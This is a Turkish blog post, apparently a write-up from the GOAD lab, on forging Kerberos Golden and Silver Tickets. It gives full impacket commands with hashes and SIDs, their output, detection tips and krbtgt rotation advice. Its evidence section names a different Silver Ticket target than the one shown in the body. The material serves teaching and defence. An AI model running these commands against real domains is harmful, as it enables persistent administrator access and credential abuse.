Zaten elimizde olan hash’ler
Walkthrough serisinin sonunda secretsdump notlarımıza aslında hiç kullanmadığımız iki şey bıraktı: her domain’in krbtgt hash’i ve bir yığın servis hesabı hash’i. Biz ise cross-forest’a, AD CS’ye ve MSSQL’e geçtik. O hash’ler, masada bıraktığımız ana anahtarlardı.
Bu yazı o döngüyü kapatıyor. Bir Kerberos bileti, bir hesabın gizli anahtarıyla şifrelenmiş bir veri bloğundan ibarettir. Gizli anahtarı elinde tutuyorsan, KDC’den bilet istemek yerine kendi biletini üretebilirsin — çalmak ile üretmek arasındaki fark tam olarak budur. Çalmak mevcut bir bileti ele geçirmek demekken, üretmek KDC’nin hiç haberi olmadan geçerli görünen yeni bir bilet yaratmak demektir. Bu ayrım önemlidir, çünkü çalınan bilet eninde sonunda süresi dolduğunda işe yaramaz hale gelir; üretilen bilet ise anahtar değişmediği sürece çalışmaya devam eder.
Golden Ticket: krbtgt ana anahtarı
krbtgt, domain’deki her Ticket Granting Ticket’ı imzalayan anahtara sahip olan hesaptır. Onun hash’ini elinde tutuyorsan KDC’ye hiç ihtiyacın yoktur — kendi TGT’ni imzalar, Administrator olduğunu iddia edersin ve imza eşleştiği için domain buna inanır.
Gerekli üç malzeme, zaten topladıklarımızdır:
krbtgtNTLM hash’i — Bölüm 3’teki DCSync’ten.- Domain SID’i — herhangi bir
whoami /userveyaimpacket-lookupsidçıktısından. - Hedef RID — yerleşik
Administratorhesabı için500.
$ impacket-ticketer -nthash 72765225164f1b6542a3b0464aad363a \
-domain-sid S-1-5-21-3291916993-3717649449-3745629854 \
-domain sevenkingdoms.local Administrator
[*] Saving ticket in Administrator.ccache
$ export KRB5CCNAME=Administrator.ccache
$ nxc smb kingslanding.sevenkingdoms.local -k --use-kcache
SMB kingslanding.sevenkingdoms.local 445 KINGSLANDING [+] SEVENKINGDOMS.LOCAL\Administrator from ccache (Pwn3d!)
Parola yok, sıfırlama yok, KDC’ye hiçbir AS-REQ gitmedi. TGT’yi Kali üzerinde çevrimdışı ürettik ve Domain Controller kabul etti. O Pwn3d! çıktısı işin özetidir: krbtgt hash’i domain’in ta kendisidir. Bilet süresi dolmaz, hesap kilitlemesine takılmaz ve gerçek Administrator parolası değiştirildikten sonra bile çalışmaya devam eder — bu yüzden Golden Ticket öncelikle tek seferlik bir giriş değil, bir kalıcılık tekniğidir. Savunma açısından asıl zorluk da buradadır: parola değiştirmek gibi olağan müdahaleler bu bileti etkilemez; yalnızca krbtgt anahtarının kendisini döndürmek onu geçersiz kılar.
Silver Ticket: aynı numara, tek SPN
Golden Ticket’ın zayıflığı aynı zamanda onu ele veren şeydir: bir engagement’ta en çok üzerine yazılan hash’tir ve krbtgt’yi döndürmek onu öldürür. Silver Ticket ise daha sessiz bir versiyondur. krbtgt ile TGT üretmek yerine, bir SPN’e sahip olan servis hesabının hash’iyle bir servis bileti üretirsin — bu bilet yalnızca o SPN’e kapsanmıştır, başka hiçbir şeye değil.
Elimizde zaten bir servis hesabı vardı: MSSQLSvc/braavos.essos.local SPN’inin sahibi sql_svc. DCSync bize hash’ini vermişti; gerisini impacket-ticketer yaptı:
$ impacket-secretsdump essos.local/[email protected] \
-hashes aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a -just-dc-user sql_svc
sql_svc:1119:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::
$ impacket-ticketer -nthash 84a5092f53390ea48d660be52b93b804 \
-domain-sid S-1-5-21-2405585222-1741672622-953379088 -domain essos.local \
-spn MSSQLSvc/braavos.essos.local -user-id 500 Administrator
[*] Saving ticket in Administrator.ccache
$ export KRB5CCNAME=Administrator.ccache
$ impacket-mssqlclient -k -no-pass braavos.essos.local
SQL (ESSOS.LOCAL\Administrator guest@master)>
Prompt hikâyenin tamamını anlatır: SQL Server üzerinde ESSOS.LOCAL\Administrator olduk; kimliğimiz sql_svc’nin hash’inden ürettiğimiz bir biletle doğrulandı. Ancak kapsam dardır — o bilet yalnızca MSSQLSvc/braavos için çalışır, CIFS/meereen veya başka bir servis için değil. Bu darlık aynı zamanda bir avantajdır: bilet yalnızca hedef serviste işe yaradığı için gereksiz yerlere erişim denemesi yapılmaz ve iz daha küçük kalır. Silver Ticket hassas ve sessizdir; Golden Ticket ise geniş ve gürültülüdür. Bu yüzden hangisini seçeceğin, ihtiyacın olan erişim kapsamına ve bırakmayı göze aldığın izlere bağlıdır.
krbtgt ile bir TGT imzalar ve tüm domain'i açar; Silver Ticket tek bir servis hesabının hash'iyle bir servis bileti imzalar ve tek bir SPN'i açar.Tespit ve çözüm
Tespit: Üretilen bir bilet KDC’ye hiç uğramaz, bu yüzden yakalanacak bir 4769 kaydı yoktur — onu zor tespit edilir kılan da budur. İpucu, alışılmadık derecede uzun ömürlü bir TGT/TGS’dir (varsayılan Golden Ticket çoğu zaman 10 yıllık üretilir) veya gerçek bir 4768/4769 değişimiyle eşleşmeyen bir PAC’tır. Bilet kullanımını gerçek AS-REQ/TGS-REQ loglarıyla ilişkilendir: eşleşen bir isteği bulunmayan bilet üretilmiş demektir. Tek tek kayıtlara değil, biletin yaşam döngüsüne bakmak gerekir; çünkü üretilmiş bir bilet, kullanıldığı anda normal bir kimlik doğrulamasından ayırt edilemeyecek kadar temiz görünebilir.
Kontrol: krbtgt’yi iki kez döndür (önerilen kurtarma yöntemi), çünkü tek bir döndürme eski biletleri geçersiz kılmaya yetmez. İki döndürme arasındaki bekleme süresine de dikkat etmek gerekir; amaç, hâlâ geçerli olan eski biletlerin doğal olarak süresinin dolmasını beklemektir. Silver Ticket’ların ulaşamayacağın bir hash gerektirmesi için servis hesabı parolalarını sıkılaştır, bu hash’leri önbelleğe alan hostlarda Credential Guard’ı aç ve — bu serideki her şeyde olduğu gibi — krbtgt ile servis hesaplarını Domain Admins’i koruduğun gibi koru: onlar kapı değil, anahtardır.
Özet
| Özellik | Golden Ticket | Silver Ticket |
|---|---|---|
| Anahtar | krbtgt hash | tek servis hesabının hash’i |
| Üretir | TGT | servis bileti (TGS) |
| Kapsam | tüm domain | tek SPN |
| Hayatta kalır | admin parolası değişse de | krbtgt dönse de |
| Tespit | uzun TGT ömrü, eksik 4768 | eksik 4769, kapsanmış SPN |
Bu nereye oturuyor
Bu yazı, Bölüm 3’teki DCSync ve AD CS ESC1 zincirinin “hash’lerle ne yapılır” sorusuna verilen devam yanıtıdır. Aynı kulvardaki sonraki doğal duraklar: pass-the-hash / overpass-the-hash (hiçbir şey üretmeden aynı hash’lerle hareket etmek) ve shadow copies / NTDS.dit (tüm veritabanını DC’den çevrimdışı çekmek). Her biri, elindeki anahtar malzemesini farklı bir saldırı yoluna dönüştürür.
Kanıt ve sınırlar
Hem Golden Ticket (krbtgt NT hash) hem de Silver Ticket (cifs/castelblack.north.sevenkingdoms.local için CASTELBLACK$ servis hash’i) üretimleri izole GOAD laboratuvarı içinde doğrulanmıştır. Kullanılan tüm anahtarlar ve domain SID değerleri GOAD’ın sentetik dizin test verileridir; gerçek bir ortamda bu değerlerin ele geçirilmesi çok daha ciddi sonuçlar doğurur.
Referanslar
- Orange Cyberdefense, GOAD: orange-cyberdefense.github.io/GOAD
- The Hacker Recipes, Forged Kerberos Tickets: thehacker.recipes/ad/movement/kerberos/forged-tickets
- HackTricks, Golden Ticket: book.hacktricks.xyz
- MITRE ATT&CK, Golden Ticket (T1558.001): attack.mitre.org/techniques/T1558/001
- MITRE ATT&CK, Silver Ticket (T1558.002): attack.mitre.org/techniques/T1558/002
Bu teknik not ne kadar güncel?
En son kaynak incelemesi, içerik güncellemesi veya yayın tarihi gösterilmektedir.
Birincil kamu kayıtları kontrol edildi. Ortama özgü davranış, ayrıca yeniden üretilmedikçe iddianın dışındadır.

